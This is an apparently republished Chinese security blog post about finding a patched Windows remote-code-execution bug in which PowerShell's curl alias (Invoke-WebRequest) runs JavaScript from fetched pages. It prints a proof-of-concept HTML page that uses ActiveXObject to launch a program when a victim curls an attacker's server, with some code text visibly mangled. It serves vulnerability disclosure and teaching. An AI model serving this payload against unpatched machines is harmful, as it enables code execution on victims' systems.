文章总结: 作者发现Windows11PowerShell的curl别名实际上是Invoke-WebRequest,该命令会解析并执行服务器返回的JavaScript代码。攻击者可诱导用户在PowerShell中执行curl命令访问恶意网页,从而利用ActiveXObject实现远程代码执行。微软已修复该漏洞,但这反映了遗留设计导致的兼容性风险。 综合评分: 80 文章分类: 漏洞分析,漏洞POC,终端安全
我是如何发现一个 Windows RCE 的
haidragon
安全狗的自我修养
2026年1月8日 12:04 湖南
官网:http://securitytech.cc/
#
没错,你刚刚在标题中看到的内容是真的——我确实和其他很多研究人员一起,在 Windows 11 最新版本 上发现了一个相当恐怖的远程代码执行(RCE)漏洞!
引言(Introduction)
在这一切发生之前,我正在和 Daniel Stenberg(libcurl 的作者)进行一次采访。 libcurl 是一个被广泛使用的工具。
我们当时在讨论 Bug Bounty 项目中的一些问题,并拿 HackerOne 上一个“糟糕报告”作为例子——这是他们几乎每天都会收到的那种低质量报告之一。
然而,这个报告本身非常奇怪,它暴露了一个相当诡异的问题。
按回车或点击查看大图
乍一看就能发现,这和真正的 curl 毫无关系,而是因为 PowerShell 里存在一个同名的 curl 别名(alias)。
报告者提到 --version 参数无法使用,这是因为 PowerShell 里的这个 curl 根本不是 libcurl,行为完全不同。
然而,当我第一次看到这个报告时,复现步骤却让我产生了极大的兴趣。
按回车或点击查看大图
假设你在本地 localhost:5000 上部署了一个 Web 应用,只返回如下 HTML:
<script>
alert(1);
</script>
然后在 PowerShell 中输入:
curl http://localhost:5000
结果是——
alert(1) 被执行了,并且你会看到一个非常诡异的弹窗!
按回车或点击查看大图
这对我来说简直是匪夷所思。 我完全无法理解,为什么在 Windows 上,仅仅执行一个命令行 curl,就会执行返回的 JavaScript。
这太离谱了。
但我并没有停下测试,而是继续深入研究—— 我想看看,这玩意还能干到什么程度。
漏洞本身(RCE)
按回车或点击查看大图
几天后,经过多轮测试,我终于构造出了一个 完整的 RCE PoC。
攻击方式非常简单: 部署一个恶意 Web 页面,返回如下 JavaScript 代码:
<html>
<head>
<title>CVE-2025-54100 PoC</title>
<metahttp-equiv="X-UA-Compatible"content="IE=10" />
</head>
<body>
<h1>PoC</h1>
<script>
try {
newActiveXObject("WScript.Shell").Run("calc.exe");
return;
} catch(e) {}
try {
newActiveXObject("Shell.Application").ShellExecute("calc.exe", "", "", "open", 1);
return;
} catch(e) {}
}
</script>
</body>
</html>
随后,只要用户在 PowerShell 中执行:
curl http://攻击者服务器
计算器就会直接弹出来。
是的—— 远程代码执行,成功了。
漏洞披露(Vulnerability Disclosure)
按回车或点击查看大图
漏洞上报后,仅仅过了几天,微软就完成了修复,这个问题已经不再存在。
虽然修复方式多少有点“值得商榷”,但至少问题被解决了。
一共有 5 位研究人员 独立发现了这个漏洞,非常感谢大家的努力——你们真的很棒!
你可以在这里看到所有研究人员的信息,如果你想自己验证,这里也有相关链接。
如果你想看完整分析视频,也可以去我的 YouTube 频道。
这个问题为什么会存在?
根本原因在于:
Windows PowerShell 里的 curl,实际上调用的是 Invoke-WebRequest。
而 Invoke-WebRequest居然会解析并执行返回的 JavaScript。
说实话,这设计简直离谱。
但现实就是这样—— 如果直接移除它会破坏操作系统的一大堆兼容性,那就只能在上面“打补丁式防护”。
我们有时确实不得不依赖这些古老又不安全的代码, 这也是为什么这种愚蠢却严重的高危漏洞仍然会存在。
因为,我们已经无法彻底推翻那些早期、天真的设计错误了。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon《我是如何发现一个 Windows RCE 的》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论